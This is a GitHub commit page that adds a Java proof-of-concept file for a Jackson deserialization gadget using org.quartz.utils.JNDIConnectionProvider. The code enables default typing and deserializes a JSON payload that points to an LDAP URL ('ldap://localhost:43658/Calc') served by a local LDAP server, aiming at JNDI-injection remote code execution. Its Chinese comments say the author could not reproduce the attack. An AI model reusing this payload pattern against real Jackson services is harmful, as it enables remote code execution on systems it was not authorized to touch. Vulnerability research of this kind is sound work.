Skip to content

Commit 537241c

Browse files
author
“threedr3am”
committed
feat:一个复现不出来,却被官方添加黑名单的jackson gadget(org.quartz.utils.JNDIConnectionProvider)
1 parent e978d19 commit 537241c

File tree

1 file changed

+30
-0
lines changed

1 file changed

+30
-0
lines changed
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
package com.threedr3am.bug.jackson.rce;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
* @author threedr3am
9+
*/
10+
public class QuartzPoc {
11+
12+
static {
13+
//rmi server示例
14+
// RmiServer.run();
15+
16+
//ldap server示例
17+
LdapServer.run();
18+
}
19+
20+
public static void main(String[] args) throws IOException {
21+
ObjectMapper mapper = new ObjectMapper();
22+
mapper.enableDefaultTyping();
23+
24+
//todo 不知为何官方加这个黑名单,明明构造方法形式最多只能选择1个参数的构造方法,而听说有人居然复现成功了???...
25+
String json = "[\"org.quartz.utils.JNDIConnectionProvider\", \"ldap://localhost:43658/Calc\", false]";
26+
mapper.readValue(json, Object.class);
27+
}
28+
29+
30+
}

0 commit comments

Comments
 (0)